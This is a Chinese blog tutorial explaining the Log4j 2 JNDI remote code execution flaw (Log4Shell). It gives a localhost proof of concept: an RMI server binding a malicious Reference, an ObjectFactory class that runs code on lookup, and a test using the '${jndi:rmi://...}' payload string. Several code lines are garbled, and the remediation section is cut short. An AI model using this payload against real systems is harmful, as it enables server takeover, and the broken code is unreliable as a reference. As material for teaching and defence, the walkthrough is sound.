⾼危漏洞log4j漏洞,产⽣原因和解决⽅案
⾼危漏洞 log4j漏洞,产⽣原因和解决⽅案
2021年12⽉09⽇,360CERT监测发现Apache Log4j 2存在JNDI远程代码执⾏,漏洞等级:严重,漏洞评分:9.8。
Apache Log4j 2是⼀个开源的⽇志记录组件,使⽤⾮常的⼴泛
对此,360CERT建议⼴⼤⽤户尽快将Apache Log4j 2进⾏升级,以免遭受⿊客攻击。
⽂章⽬录
log4j漏洞被发现
⼀、产⽣原因和技术分析
什么是log4j?
Log4j是Apache的⼀个开源项⽬,通过使⽤Log4j,我们可以控制⽇志信息输送的⽬的地是控制台、⽂件、GUI组件,甚⾄是套接⼝服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每
⼀条⽇志的输出格式;通过定义每⼀条⽇志信息的级别,我们能够更加细致地控制⽇志的⽣成过程。最令⼈感兴趣的就是,这些可以通过⼀个配置⽂件来灵活地进⾏配置,⽽不需要修改应⽤的代码。
如何开启⽇志我之前有写过专门的博客⽂章
也就是说,log4j给开发者提供了更加⽅便的后端开发过程中的调试效率,但是如何实现log4j 2远程代码执⾏?
恶意攻击者通过JNDI注⼊技术实现该功能。
什么是JNDI注⼊?
没有jndi之前,对于⼀个外部依赖,像mysql数据库,程序开发的过程中需要将具体的数据库地址参数写⼊到java代码中,程序才能到具体的数据库地址进⾏链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常⼿动去调整配置。
有了jndi后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进⾏引⽤即可。其实就是给资源起个名字,再根据名字来资源。
当⼀个需要被获取的对象的名称可以被远程控制的时候,⿊客可以将被攻击的java客户端的jndi请求指
向恶意的服务地址,恶意的资源服务地址响应了恶意的java对象,这个对象是“javax.naming.Reference" 的⽰例,JNDI客户端客户端会尝试解析该对象的
classFactory和classFactoryLocation属性。如果这classFactory属性是未知的,那么java会使⽤URLClassLoade从
classFactoryLocation处获取字节码。
就是这么简单的机制,‘initialContext.lookup‘⽅法即使没有直接暴露在污点数据中,我们可以利⽤它进⾏漏洞利⽤。
也就是说JNDI可以访问远端的服务器,所以攻击者让被攻击者的电脑或者服务器来访问远端的服务器,达到控制被攻击者的电脑和服务器的⽬的(⽐如控制你的服务器资源去挖矿,获取你数据库⾥⾯重要信息等等),接下来就让我们通过代码的⽅式来简单讲解⼀下吧。
⼆、代码分析
Login.java(代表受害者的服务器)
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Login {
private static Logger logger= Logger(Login.class);
//⼀个简单的登录⽅法,传⼊⽤户名字
public void register(String username){
//⽇志在控制台打印
logger.info("{},在何时登录",username);
}
}
Remote.java(代表攻击者部署)
import com.i.registry.ReferenceWrapper;
import javax.naming.Reference;
i.registry.Registry;
i.registry.LocateRegistry;
public class Remote{
public static void main(String args[]) throws Exception {
Registry registry = ateRegistry(1099);
//启动⼀个jndi服务器
Reference reference = new Reference("Attack","Attack","127.0.0.1:8081/");
//创建⼀个资源
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/remote'");
//给资源命名,绑定
registry.bind("remote", refObjWrapper);
}apachelog4j2漏洞
}
Attack.java(这⾥是攻击者要攻击的具体内容的实现)
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Attack implements ObjectFactory {
static{
System.out.println("静态代码块攻击");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {        System.out.println("你被攻击了");
return"【攻击者】";
}
}
我们通过静态代码块,强制执⾏⾥⾯的内容。
我们先运⾏Remote.java,这个⽂件,在控制台获取⼀个和资源名绑定的⼀个路径,如下
testJndi.java(启动⼀下受害者的服务器,并且进⾏jndi注⼊攻击)
import com.itheima.local.Login;
import org.junit.Test;
public class testJndi {
@Test
public void test1(){
String uri="${jndi:rmi://127.0.0.1:1099/remote}";
Login login=new Login();
//故意把错误⽤户名给他
}
}
于是我们就发现控制台竟然执⾏了攻击者的代码,输出了静态代码块的功能
⽽且在这⾥,前端界⾯和后端都会判定填写的⽤户名字正确,因为⽤户名字的确是⼀串字符串,系统并不会阻拦。
但是这个条数据不仅仅和后端数据库进⾏交互⽽且还和log4j这个⽇志信息模块进⾏交互,log4在⾃⼰的服务器⾥⾯执⾏了远程服务器⾥⾯的代码。这⾥⾯有⾮常⼤的信息⽹络安全隐患,你的服务器再也不是属于你⾃⼰的了,任何⼀个懂得jndi注⼊技术的⼈都能控制你的电脑或者服务器
这熟悉的套路有没有让你联想到经典的SQL注⼊?不同的是SQL注⼊是直接注⼊到SQL语句中,直接和后端交互,然⽽这个是和⽇志模块交互
三、解决⽅案
更换项⽬依赖版本
若没有使⽤上述⼯具,那么可以全局搜索项⽬中是否存在log4j的相关jar包,并通过jar包中的/META-INF/MANIFEST.MF⽂件查看log4j

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。